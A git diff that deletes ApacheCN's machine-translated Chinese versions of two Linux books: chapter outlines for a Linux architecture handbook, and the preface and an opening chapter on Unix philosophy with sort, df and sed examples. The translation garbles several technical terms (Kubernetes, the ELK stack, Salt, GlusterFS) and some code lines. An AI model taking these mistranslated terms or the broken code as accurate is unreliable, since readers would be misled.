是的,中央处理器是共享的主要资源,因为物理中央处理器必须为同一节点中的所有虚拟机提供周期服务。 -5. 允许不同的网络流量通过不同的网卡/子网。 -6. 这是一种迁移方法,实际上将现有工作负载从内部迁移到云中。 -7. 这是一种迁移方法,它利用对体系结构的一些更改来利用云上提供的解决方案。 -8. 这是一种迁移方法,包括将解决方案重新架构到云中。 \ No newline at end of file diff --git a/docs/handson-linux-arch/README.md b/docs/handson-linux-arch/README.md deleted file mode 100644 index caea46a7..00000000 --- a/docs/handson-linux-arch/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 架构实用手册 - -> 原文:[Hands-On Linux for Architects](https://libgen.rs/book/index.php?md5=7D24F1F94933063822D38A8D8705DDE3) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/handson-linux-arch/SUMMARY.md b/docs/handson-linux-arch/SUMMARY.md deleted file mode 100644 index e5d94d5a..00000000 --- a/docs/handson-linux-arch/SUMMARY.md +++ /dev/null @@ -1,22 +0,0 @@ -+ [Linux 架构实用手册](README.md) -+ [零、前言](00.md) -+ [第一部分:使用 GlusterFS 的高性能存储解决方案](sec1.md) - + [一、设计方法论概述](01.md) - + [二、定义 GlusterFS 存储](02.md) - + [三、构建存储集群](03.md) - + [四、在云基础设施上使用 GlusterFS](04.md) - + [五、Gluster 系统中的性能分析](05.md) -+ [第二部分:使用 Kubernetes 的高可用性 Nginx Web 应用](sec2.md) - + [六、创建高可用性自我修复架构](06.md) - + [七、了解 Kubernetes 集群的核心组件](07.md) - + [八、构建 Kubernetes 集群](08.md) - + [九、部署和配置 Kubernetes](09.md) -+ [第三部分:Elasticsearch 栈](sec3.md) - + [十、利用 ELK 栈进行监控](10.md) - + [十一、设计 ELK 栈](11.md) - + [十二、使用 Elasticsearch、Logstash 和 Kibana 管理日志](12.md) -+ [第四部分:使用 Saltstack 的系统管理](sec4.md) - + [十三、使用 Salt 解决方案解决管理问题](13.md) - + [十四、设计 Salt 解决方案和安装软件](14.md) - + [十五、设计最佳实践](15.md) -+ [十六、答案](16.md) diff --git a/docs/handson-linux-arch/sec1.md b/docs/handson-linux-arch/sec1.md deleted file mode 100644 index 6830a607..00000000 --- a/docs/handson-linux-arch/sec1.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第一部分:使用 GlusterFS 的高性能存储解决方案 - -在本节中,读者将能够理解使用 GlusterFS 部署高性能存储解决方案时需要做出的决策。 - -本节包含以下章节: - -* [第 1 章](01.html),*设计方法论介绍* -* [第 2 章](02.html)、*定义 GlusterFS 存储* -* [第 3 章](03.html)、*构建存储集群* -* [第 4 章](04.html),*在云基础设施上使用 GlusterFS* -* [第 5 章](05.html),*分析忧郁系统*中的表现 \ No newline at end of file diff --git a/docs/handson-linux-arch/sec2.md b/docs/handson-linux-arch/sec2.md deleted file mode 100644 index ec33389a..00000000 --- a/docs/handson-linux-arch/sec2.md +++ /dev/null @@ -1,10 +0,0 @@ -# 第二部分:使用 Kubernetes 的高可用性 Nginx Web 应用 - -在本节中,读者将了解使用 Kubernetes 作为部署和管理容器化应用的协调器的优势,以及如何部署这样的解决方案。 - -本节包含以下章节: - -* [第 6 章](06.html),*创建高可用性自愈架构* -* [第七章](07.html)*了解 Kubernetes 星团的核心组成部分* -* [第八章](08.html),*构建库本内斯集群* -* [第 9 章](09.html)、*部署和配置库本内斯* \ No newline at end of file diff --git a/docs/handson-linux-arch/sec3.md b/docs/handson-linux-arch/sec3.md deleted file mode 100644 index 7e8f8527..00000000 --- a/docs/handson-linux-arch/sec3.md +++ /dev/null @@ -1,9 +0,0 @@ -# 第三部分:Elasticsearch 栈 - -本节重点介绍如何实现包含 Elasticsearch、Logstash 和 Kibana 的 **ELK 栈**,以实现环境日志感知。 - -本节包含以下章节: - -* [第 10 章](10.html)、*用 ELK 栈监控* -* [第 11 章](11.html)*设计麋鹿苑* -* [第 12 章](12.html)、*使用 Elasticsearch、Logstash 和基巴纳管理日志* \ No newline at end of file diff --git a/docs/handson-linux-arch/sec4.md b/docs/handson-linux-arch/sec4.md deleted file mode 100644 index 92798e9c..00000000 --- a/docs/handson-linux-arch/sec4.md +++ /dev/null @@ -1,9 +0,0 @@ -# 第四部分:使用 Saltstack 的系统管理 - -在本节中,读者将能够理解**基础设施作为代码** ( **IaC** )是如何工作的,以及使用 Saltstack 进行系统管理的优势。然后是一些最佳设计实践的概述。 - -本节包含以下章节: - -* [第十三章](13.html),*用咸解解决管理问题* -* [第十四章](14.html)*手咸* -* [第 15 章](15.html)、*设计最佳实践* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/00.md b/docs/handson-sys-prog-linux/00.md deleted file mode 100644 index 5f3058d3..00000000 --- a/docs/handson-sys-prog-linux/00.md +++ /dev/null @@ -1,142 +0,0 @@ -# 零、前言 - -Linux OS 及其嵌入式和服务器应用是当今分散和网络化世界中关键软件和基础设施的关键组件。 业界对熟练的 Linux 开发人员的需求在不断增加。 这本书旨在给你两件事:坚实的理论基础,以及实用的、与行业相关的信息-通过涵盖 Linux 系统和编程领域的代码来说明。 本书深入探讨了 Linux 系统编程的艺术和科学,包括系统架构、虚拟内存、进程内存和管理、进程信号、计时器、多线程、调度和文件 I/O。 - -这本书试图超越使用 API X 来做 Y 的方法;它煞费苦心地解释了理解编程界面、设计决策和经验丰富的开发人员在使用它们时所做的权衡以及它们背后的基本原理所需的概念和理论。 故障排除提示和行业最佳实践补充了本书的内容。在本书结束时,您将拥有使用 Linux 系统编程接口所需的概念性知识和实践经验。 - -# 这本书是写给谁的? - -*Linux 的实际系统编程*面向 Linux 专业人员:系统工程师、程序员和测试人员(QA)。 它也适用于学生;实际上,任何想要超越使用 API 集来理解强大的 Linux 系统编程 API 背后的理论基础和概念的人。 您应该在用户级别熟悉 Linux,包括登录、通过命令行界面使用 Shell 以及使用 Find、grep 和 Sort 等工具。 需要具备 C 编程语言的实用知识。 假设您之前没有 Linux 系统编程经验。 - -# 这本书涵盖了哪些内容 - -[第 1 章](01.html),*Linux 系统架构*,涵盖了关键的基础知识:Unix 设计哲学和 Linux 系统架构。 在此过程中,还涉及到其他重要方面-CPU 特权级别、处理器 ABI 以及系统调用的实际内容。 - -[第 2 章](02.html),*虚拟内存*深入清除了关于虚拟内存到底是什么以及它为什么是现代操作系统设计的关键的常见误解;还讨论了进程虚拟地址空间的布局。 - -[第 3 章](03.html),*资源限制*深入探讨了每个进程的资源限制以及管理其使用的 API 的主题。 - -[第 4 章](04.html),*动态内存分配*首先介绍了流行的 malloc 系列 API 的基础知识,然后深入到更高级的方面,例如程序中断、malloc 的实际行为、请求分页、内存锁定和保护以及使用 alloca 函数。 - -[第 5 章](05.html),*Linux 内存问题,*向您介绍(遗憾的)由于缺乏对内存 API 的正确设计和使用的理解而导致我们项目中普遍存在的内存缺陷。 包括未定义的行为(通常)、溢出和下溢错误、泄漏等缺陷。 - -[第 6 章](06.html),*内存问题调试工具*展示了如何利用现有工具,包括编译器本身、Valgrind 和 AddressSaniizer,后者用于检测您将在上一章中看到的内存问题。 - -[第 7 章](07.html),*处理凭证,*是两章中的第一章,重点是让您从系统的角度思考和理解安全和特权。 在这里,您将了解传统的安全模型-一组进程凭证-以及用于操作它们的 API。 重要的是,深入研究了 setuid-root 进程的概念及其安全影响。 - -[第 8 章](08.html),*流程功能*向您介绍了现代 POSIX 功能模型,以及当应用开发人员学习使用和利用该模型而不是传统模型(见上一章)时,安全性将如何受益。 文中还讨论了什么是功能,如何嵌入这些功能,以及实际的安全设计。 - -[第 9 章](09.html),*流程执行,*是四章中的第一章,涉及流程管理的广泛领域(执行、创建和信号传递)。 *在本章中,您将了解(相当不寻常的)Unix EXEC AXIOM 是如何工作的,以及如何使用 API 集(EXEC 系列)来利用它。* - - *[第 10 章](10.html),关于*进程创建,*深入研究了`fork(2)`系统调用的确切行为和应该如何使用;我们通过我们的七条分叉规则来描述这一点。 描述了 unix 的 fork-exec-wait*和*语义(也深入到了等待 API),还介绍了孤儿进程和僵尸进程。 - -[第 11 章](11.html),*信号-第一部分*讨论了在 Linux 平台上使用信号的重要主题:什么、为什么和如何。 我们在这里介绍功能强大的`sigaction(2)`系统调用,以及诸如重入和信号异步安全性、信号动作标志、信号堆栈等主题。 - -[第 12 章](12.html)-*信号-第二部分*继续我们对信号的介绍,因为它*和*是一个很大的主题。 我们将带您以正确的方式为众所周知的致命分段故障编写信号处理程序,处理实时信号,向进程传递信号,使用信号执行 IPC,以及其他处理信号的方法。 - -[第 13 章](13.html),*计时器,*教您如何在现实的 Linux 应用中设置和处理计时器这一重要(且与信号相关的)主题。 我们首先介绍传统的计时器 API,然后快速介绍现代的 POSIX 间隔计时器以及如何使用它们。 展示了两个有趣的小项目,并进行了演示。 - -[第 14 章](14.html),第*章,使用 Pthreads 多线程,第 I 部分-基本要素,第*章是 Linux 上使用 pthreads 框架进行多线程三部曲的第一部分。 在这里,我们将向您介绍线程到底是什么,它与进程有何不同,以及使用线程的动机(在设计和性能方面)。 然后,本章将指导您完成在 Linux 上编写 pthreads 应用的要领,包括线程创建、终止、联接等。 - -[第 15 章](15.html),第*章,使用 P 线程进行多线程,第二部分-同步,*这一章专门讨论线程同步和竞争预防这一真正重要的主题。您将首先了解手头的问题,然后深入研究原子性、锁定、死锁预防等关键主题。 接下来,本章将教您如何在互斥锁和条件变量方面使用 pthread 和同步 API。 - -[第 16 章](16.html),*使用 PThreadsIII 进行多线程,*完成了我们关于多线程的工作;我们阐明了线程安全、线程取消和清理以及在多线程应用中处理信号的关键主题。 我们在本章结束时讨论了多线程的优缺点,并解决了一些常见问题。 - -[第 17 章](17.html),关于 Linux 上的*CPU 调度,*向您介绍系统程序员应该知道的与调度相关的主题。 我们讨论了 Linux 进程/线程状态机、实时的概念以及 Linux 操作系统带来的三个(最小)POSIX CPU 调度策略。 利用可用的 API,您将学习如何在 Linux 上编写软实时应用。 在本章结束时,我们将简要介绍一下(有趣!)。 Linux 操作系统*可以打补丁,*可以作为 RTOS 使用。 - -[第 18 章](18.html),*高级文件 I/O,*完全集中于在 Linux 上执行 IO 的更高级方式,以获得最高性能(因为 IO 通常是瓶颈)。 本文简要介绍了 Linux IO 堆栈是如何构建的(页面缓存非常关键),以及向操作系统提供文件访问模式建议的 API。 正如您将了解到的,为提高性能编写 IO 代码涉及到 SG-I/O、内存映射、DIO 和 AIO 等技术的使用。 - -[第 19 章](19.html),*故障排除和最佳实践,*是 Linux 上故障排除关键点的重要总结。 我们将向您简要介绍功能强大的工具的使用,如 perf 和跟踪工具。 然后,非常重要的是,本章试图总结总体上关于软件工程的要点,特别是 Linux 上的编程要点,着眼于行业最佳实践。 我们认为这些对于任何程序员来说都是至关重要的。 - -[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)文件 I/O 要点向您介绍了如何通过流(Stdio 库层)API 集和底层系统调用在 Linux 平台上执行高效的文件 I/O。 在此过程中,还介绍了有关缓冲及其对性能的影响的重要信息。 - -有关本章的信息,请参阅:[https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)。 - -[附录 B](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf)守护进程以简洁的方式向您介绍 Linux 上的守护进程。 您将看到如何编写传统的 SysV 风格的守护进程。 本文还简要介绍了构建现代新型守护进程所涉及的内容。 - -有关本章的信息,请参阅:[https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf)。 - -# 为了最大限度地利用这本书 - -如前所述,本书面向 Linux 软件专业人员-无论是开发人员、程序员、架构师还是 QA 工作人员-以及希望通过 Linux OS 上的系统编程关键主题扩展其知识和技能的认真学生。 - -我们假设您熟悉通过命令行界面 shell 使用 Linux 系统。 我们还假设您熟悉 C 语言编程,知道如何使用编辑器和编译器,并且熟悉 Makefile 的基础知识。 我们不会*或*假定您事先对本书涵盖的主题有任何了解。 - -要最大限度地利用本书(这一点我们非常清楚),您不仅要阅读材料,还必须积极研究、试用和修改提供的代码示例,并尝试完成作业! 为什么? 很简单:做什么才是真正教会你的,并将一个主题内化;犯错误并纠正错误是学习过程中必不可少的一部分。 我们一直提倡经验主义的方法--不要只看表面价值。 试一试,自己试一试,看看。 - -为此,我们强烈建议您克隆本书的 GitHub 存储库(有关说明,请参阅以下部分),浏览这些文件,并试用它们。 非常推荐使用**虚拟机**(**VM**)进行实验(很明显)(我们已经在 Ubuntu18.04LTS 和 Fedora 27/28 上测试了代码)。 本书的 GitHub 存储库中还提供了要在系统上安装的强制和可选软件包的列表;请通读并安装所有必需的实用程序以获得最佳体验。 - -最后,但绝对不是最不重要的一点是,每一章都有*进一步阅读*部分,其中提到了额外的在线链接和书籍(在某些情况下);我们敦促您浏览这些内容。 您将在本书的 GitHub 存储库中找到每一章的*进一步阅读材料和*材料。 - -# 下载示例代码文件 - -您可以从您的帐户[www.Packt.com](http://www.packtpub.com)下载本书的示例代码文件。 如果您在其他地方购买了本书,您可以访问[www.Packt.com/support](http://www.packtpub.com/support)并注册,让文件直接通过电子邮件发送给您。 - -您可以通过以下步骤下载代码文件: - -1. 登录或注册[www.Packt.com](http://www.packtpub.com/support)。 -2. 选择支持选项卡。 -3. 单击 Code Downloads&Errata(代码下载和勘误表)。 -4. 在搜索框中输入图书名称,然后按照屏幕上的说明进行操作。 - -下载文件后,请确保使用以下最新版本解压缩或解压缩该文件夹: - -* WinRar/7-用于 Windows 的 Zip -* 适用于 Mac 的 Zipeg/iZip/UnRarX -* Linux 版 7-Zip/PeaZip - -该书的代码包也托管在 giHub 的[https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)上。 我们还在**[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)**上提供了丰富的图书和视频目录中的其他代码包。 看看他们。 - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。 您可以在此处下载:[https://www.packtpub.com/sites/default/files/downloads/9781788998475_ColorImages.pdf](https://www.packtpub.com/sites/default/files/downloads/9781788998475_ColorImages.pdf) - -# 使用的约定 - -本书中使用了许多文本约定。 - -`CodeInText`:指示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。 这里有一个例子:“让我们通过我们的`membugs.c`程序的源代码来检查这些。” - -代码块设置如下: - -```sh -include -int pthread_mutexattr_gettype(const pthread_mutexattr_t *restrict attr, int *restrict type); -int pthread_mutexattr_settype(pthread_mutexattr_t *attr, int type); -``` - -当我们希望您注意代码块的特定部分时,相关行或项将以粗体显示: - -```sh -include -int pthread_mutexattr_gettype(const pthread_mutexattr_t *restrict attr, int *restrict type); -int pthread_mutexattr_settype(pthread_mutexattr_t *attr, int type); -``` - -任何命令行输入或输出都如下所示: - -```sh -$ ./membugs 3 -``` - -**粗体**:表示您在屏幕上看到的新术语、重要单词或单词。 例如,菜单或对话框中的单词显示在文本中,如下所示。 这里有一个例子:“通过下拉菜单选择 C++作为语言。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 保持联系 - -欢迎读者的反馈。 - -**一般反馈**:发送电子邮件`customercare@packtpub.com`,并在邮件主题中提及书名。 如果您对本书的任何方面有任何疑问,请给我们发电子邮件至`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.Packt.com/Submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,单击勘误表提交表链接,然后输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的非法复制我们的作品,请您提供地址或网站名称,我们将不胜感激。 请拨打`copyright@packt.com`与我们联系,并提供该材料的链接。 - -**如果您有兴趣成为一名作者**:如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请访问[Auths.Packtpub.com](http://authors.packtpub.com/)。 - -# 评论 - -请留下评论。 一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢? 这样,潜在读者就可以看到并使用您不偏不倚的意见来做出购买决定,我们 Packt 可以了解您对我们产品的看法,我们的作者也可以看到您对他们的书的反馈。 谢谢! - -有关 Packt 的更多信息,请访问[Packt.com](https://www.packtpub.com/)。* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/01.md b/docs/handson-sys-prog-linux/01.md deleted file mode 100644 index 27168c97..00000000 --- a/docs/handson-sys-prog-linux/01.md +++ /dev/null @@ -1,1083 +0,0 @@ -# 一、Linux 系统架构 - -本章向读者介绍 Linux 生态系统的系统架构。 它首先介绍了优雅的 Unix 哲学和设计基础,然后深入研究了 Linux 系统架构的细节。 本课程将介绍 ABI、CPU 特权级别的重要性,以及现代**操作系统**(**OS**)如何利用它们,以及 Linux 系统架构的分层,以及 Linux 是如何成为一个整体架构的。 系统调用 API 的(简化)流以及内核代码执行上下文是关键点。 - -在本章中,读者将了解以下主题: - -* 一言以蔽之的 Unix 哲学 -* 建筑学预科 -* Linux 架构层 -* Linux--单片操作系统 -* 内核执行上下文 - -在此过程中,我们将使用简单的示例来阐明关键的哲学和体系结构要点。 - -# 技术要求 - -需要一台现代台式 PC 或笔记本电脑;Ubuntu Desktop 指定以下内容作为安装和使用发行版的推荐系统要求: - -* 2 GHz 双核或更高处理器 -* * **在物理主机上运行**:2 GB 或更大系统内存 - * **以来宾身份运行**:主机系统应至少有 4 GB RAM(越多,体验越好、越流畅) - -* 25 GB 可用硬盘空间 -* 用于安装程序介质的 DVD 驱动器或 USB 端口 -* 上网肯定是有帮助的 - -我们建议读者使用以下 Linux 发行版之一(如上所述,可以作为 Windows 或 Linux 主机系统上的客户操作系统*和*安装): - -* Ubuntu 18.04 LTS Desktop(Ubuntu 16.04 LTS Desktop 也是一个很好的选择,因为它也有长期的支持,几乎所有东西都应该可以工作) - * Ubuntu 桌面下载链接:[https://www.ubuntu.com/download/desktop](https://www.ubuntu.com/download/desktop) -* Feddora 27(工作站) - * 下载链接:11-13[HTTPS://getfedora.org/en_gb/workstation/download/](https://getfedora.org/en_GB/workstation/download/) - -请注意,这些发行版的默认形式是 OSS 和非专有的,并且可以作为最终用户免费使用。 - -There are instances where the entire code snippet isn't included in the book . Thus the GitHub URL to refer the codes: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux).  -Also, for the *Further reading* section, refer to the preceding GitHub link. - -# Linux 和 Unix 操作系统 - -摩尔定律有一个著名的说法,即集成电路中的晶体管数量将每两年(大约)翻一番(并补充说,成本将以几乎相同的速度减半)。 这条多年来一直保持相当准确的定律,清楚地强调了人们对电子和**信息技术**(**IT**)行业的认识,甚至是庆祝;技术创新和范式转变在这里发生的速度之快是无与伦比的。 以至于当每年,甚至在某些情况下,每隔几个月就有新的创新和技术出现,挑战并最终几乎没有仪式地抛弃旧的时候,我们几乎不会感到惊讶。 - -在这种快速、全面变化的背景下,存在着一种引人入胜的反常现象:在近 50 年的时间里,操作系统的基本设计、理念和体系结构几乎没有任何变化。 是的,我们指的是历史悠久的 Unix 操作系统。 - -Unix 在 1969 年左右从 AT&T 的贝尔实验室(Multics)的一个注定失败的项目中有机地脱颖而出,席卷了世界。 嗯,至少有一段时间是这样。 - -但是,你会说,这是一本关于 Linux 的书;为什么会有这么多关于 Unix 的信息? 很简单,从本质上讲,Linux 是受人尊敬的 Unix 操作系统的最新化身。 Linux 是一种类似 Unix 的操作系统(以及其他几种操作系统)。 根据法律需要,该代码是唯一的;然而,Linux 的设计、理念和体系结构与 Unix 的设计、理念和体系结构几乎相同。 - -# 一言以蔽之的 Unix 哲学 - -*要理解任何人(或任何事物),必须首先努力理解他们(或其)的基本哲学;开始理解 Linux 就是开始理解 Unix 哲学。 在这里,我们不会试图钻研每一分钟的细节,而是全面理解 Unix 哲学的本质是我们的目标。此外,当我们使用 Unix 这个词时,我们很大程度上也是指 Linux!* - -在 Unix 上设计、构建和维护软件(特别是工具)的方式慢慢演变成一种甚至可以称为固定模式的模式:Unix 设计哲学。 其核心是 Unix 哲学、设计和体系结构的支柱: - -* 每件事都是一个过程,如果不是过程,那就是文件 -* 一种工具完成一项任务 -* 三个标准 I/O 通道 -* 无缝组合工具 -* 首选纯文本 -* CLI,而不是 GUI -* 模块化设计,可供其他人重新调整用途 -* 提供机制,而不是政策 - -让我们更仔细地检查一下这些柱子,好吗? - -# 每件事都是一个过程--如果它不是一个过程,它就是一个文件 - -进程是正在执行的程序的实例。 文件是文件系统上的对象;除了具有纯文本或二进制内容的常规文件外,它还可以是目录、符号链接、设备专用文件、命名管道或(Unix 域)套接字。 - -Unix 设计哲学将外围设备(如键盘、显示器、鼠标、传感器和触摸屏)抽象为文件,即所谓的设备文件。 通过这样做,Unix 允许应用程序员方便地忽略细节,只将(外围)设备当作普通磁盘文件对待。 - -内核提供了一个层来处理这个非常抽象的问题-它被称为**虚拟文件系统交换机**(**VFS**)。 这样,应用开发人员就可以打开设备文件并对其执行 I/O(读写),所有这些都使用提供的常用 API 接口(放松,这些 API 将在下一章中介绍)。 - -事实上,每个进程在创建时都继承了三个文件: - -* **标准输入**(`stdin`**:FD****0**):默认为键盘设备 -* **标准输出**(`stdout`**:FD 1***)*:默认为监视器(或终端)设备 -* **标准错误**(`stderr`**:****FD 2**):默认为监视器(或终端)设备 - -**fd** is the common abbreviation, especially in code, for **file descriptor**; it's an integer value that refers to the open file in question. - -Also, note that we mention it's a certain device by default – this implies the defaults can be changed. Indeed, this is a key part of the design: changing standard input, output, or error channels is called **redirection**, and by using the familiar <, > and 2> shell operators, these file channels are redirected to other files or devices. - -在 Unix 上,存在一类称为筛选器的程序。 - -A filter is a program that reads from its standard input, possibly modifies the input, and writes the filtered result to its standard output. - -Unix 上的筛选器是非常常见的实用程序,如`cat`、`wc`、`sort`、`grep`、`perl`、`head`和`tail`。 - -筛选器允许 Unix 轻松避开设计和代码复杂性。 多么? - -让我们以`sort`过滤器为例。 好的,我们需要一些数据来分类。 假设我们运行以下命令: - -```sh -$ cat fruit.txt -orange -banana -apple -pear -grape -pineapple -lemon -cherry -papaya -mango -$ -``` - -现在我们考虑使用`sort`的四个场景;根据我们传递的参数,我们实际上正在执行显式或隐式的输入、输出和/或错误重定向! - -**场景 1**:按字母顺序对文件进行排序(一个参数,输入隐式重定向到文件): - -```sh -$ sort fruit.txt - apple - banana - cherry - grape - lemon - mango - orange - papaya - pear - pineapple -$ -``` - -好的! - -不过,等一下。 如果`sort`是过滤器(确实是),它应该从其`stdin`(键盘)读取并写入其`stdout`(终端)。 它确实是在向终端设备写入数据,但它是从文件中读取数据,如`fruit.txt`。 - -这是经过深思熟虑的;如果提供了参数,排序程序会将其视为标准输入,这一点显而易见。 - -另外,请注意,`sort fruit.txt `与`sort < fruit.txt`相同。 - -**场景 2**:对任何给定的输入按字母顺序排序(无参数,从 stdin/stdout 输入和输出到 stdin/stdout): - -```sh -$ sort -mango -apple -pear -^D -apple -mango -pear -$ -``` - -一旦您键入`sort`并按下*Enter*键,排序过程就会启动并等待。 为什么? 它正在等待您(用户)键入某些内容。 为什么? 回想一下,默认情况下,每个进程都会从标准输入或标准输入(键盘设备)中读取其输入!因此,我们输入了一些水果名称。 完成后,按*Ctrl*+*D*。 这是表示**文件结束**(**EOF**)的默认字符序列,或者在这种情况下表示输入结束。 瞧啊! 对输入进行排序和写入。 去哪里? 到`sort`进程的 stdout-终端设备,因此我们可以看到它。 - -**场景 3**:按字母顺序对任何给定输入进行排序,并将输出保存到文件(显式输出重定向): - -```sh -$ sort > sorted.fruit.txt -mango -apple -pear -^D -$ -``` - -与场景 2 类似,我们输入一些水果名称,然后*Ctrl*+*D*告诉 Sort 我们完成了。 不过,这一次请注意,输出被重定向(通过`>`元字符)到第一个`sorted.fruits.txt`文件! - -因此,正如预期的那样,输出如下: - -```sh -$ cat sorted.fruit.txt -apple -mango -pear -$ -``` - -**场景 4**:按字母顺序对文件进行排序,并将输出和错误保存到文件中(显式输入重定向、输出重定向和错误重定向): - -```sh -$ sort < fruit.txt > sorted.fruit.txt 2> /dev/null -$ -``` - -有趣的是,最终结果与前面的场景相同,但增加了将任何错误输出重定向到错误通道的优点。 在这里,我们将错误输出(回想一下,文件描述符 2 总是引用`stderr`)重定向到前`/dev/null`个特殊设备文件;`/dev/null`是一个其任务是充当接收器(黑洞)的设备文件。 写入空设备的任何内容都将永远消失! (谁说 Unix 上没有魔力?)还有,它的补码是`/dev/zero`*;*零设备是一个源--一个无限的零的源。 从它读取将返回零(第一个 ASCII 字符,而不是数字 0);它没有文件结尾! - -# 一种工具完成一项任务 - -在 Unix 的设计中,我们尽量避免创建瑞士军刀;相反,我们会为一个非常特定的指定目的创建一个工具,并且只为这个目的创建一个工具。 没有如果,没有但是;没有苦恼,没有杂乱。 这是最佳的设计简单性。 - -"Simplicity is the ultimate sophistication." - Leonardo da Vinci - -举一个常见的例子:在 Linux**CLI**(**命令行界面**)上工作时,您想要找出本地安装的哪个文件系统具有最多的可用(磁盘)空间。 - -我们可以通过适当的开关获取本地挂载的文件系统列表(只需`df`也可以): - -```sh -$ df --local -Filesystem 1K-blocks Used Available Use% Mounted on -rootfs 20640636 1155492 18436728 6% / -udev 10240 0 10240 0% /dev -tmpfs 51444 160 51284 1% /run -tmpfs 5120 0 5120 0% /run/lock -tmpfs 102880 0 102880 0% /run/shm -$ -``` - -要对输出进行排序,需要首先将其保存到一个文件中;为此,可以使用一个临时文件(Tmp),然后使用`sort`实用程序对其进行排序。 最后,我们删除有问题的临时文件。 (是的,还有一种更好的方法,即管道;请参阅,*无缝组合工具*部分) - -请注意,可用的存储空间是第四列,因此我们相应地进行排序: - -```sh -$ df --local > tmp -$ sort -k4nr tmp -rootfs 20640636 1155484 18436736 6% / -tmpfs 102880 0 102880 0% /run/shm -tmpfs 51444 160 51284 1% /run -udev 10240 0 10240 0% /dev -tmpfs 5120 0 5120 0% /run/lock -Filesystem 1K-blocks Used Available Use% Mounted on -$ -``` - -哎呀! 输出包括标题行。 让我们首先使用通用的`sed`实用程序(一个功能强大的非交互式编辑器工具)从`df`的输出中删除第一行,即标题: - -```sh -$ df --local > tmp -$ sed --in-place '1d' tmp -$ sort -k4nr tmp -rootfs 20640636 1155484 18436736 6% / -tmpfs 102880 0 102880 0% /run/shm -tmpfs 51444 160 51284 1% /run -udev 10240 0 10240 0% /dev -tmpfs 5120 0 5120 0% /run/lock -$ rm -f tmp -``` - -那又怎么样? 问题是,在 Unix 上,没有一个实用程序可以同时列出已安装的文件系统并按可用空间对它们进行排序。 - -相反,有一个实用程序可以列出已安装的文件系统:`df`。 它在这方面做得很好,有选项开关可供选择。 (如何知道哪些选项? 学习使用手册页,它们非常有用。) - -有一个实用程序可以对文本进行排序:`sort`。 同样,这是对文本进行排序的最后一招,对于几乎所有可能需要的排序,都有大量的选项开关可供选择。 - -The Linux man pages: **man** is short for **manual**; on a Terminal window, type `man man` to get help on using man. Notice the manual is divided into 9 sections. For example, to get the manual page on the stat system call, type `man 2 stat` as all system calls are in section 2 of the manual. The convention used is cmd or API; thus, we refer to it as `stat(2)`. - -不出所料,我们得到了结果。 那么,这到底有什么意义呢? 它是这样的:我们使用三个实用程序*、*而不是一个.`df `列出已挂载的文件系统(及其相关的元数据),使用`sed`删除标题行,使用`sort`对给定的任何输入进行排序(以任何可以想象的方式)。 - -`df`可以查询和列出已安装的文件系统,但不能对它们进行排序。 `sort`可以对文本进行排序;它不能列出已安装的文件系统。 - -想一想这一点。 - -把它们结合起来,你就会得到比它们各部分之和更多的东西! UNIX 工具通常只完成一项任务,并按照逻辑结论来完成;没有人能做得更好! - -Having said this, I would like to point out – a tiny bit sheepishly – the highly renowned tool Busybox. Busybox (`http://busybox.net`) is billed as The Swiss Army Knife of Embedded Linux. It is indeed a very versatile tool; it has its place in the embedded Linux ecosystem – precisely because it would be too expensive 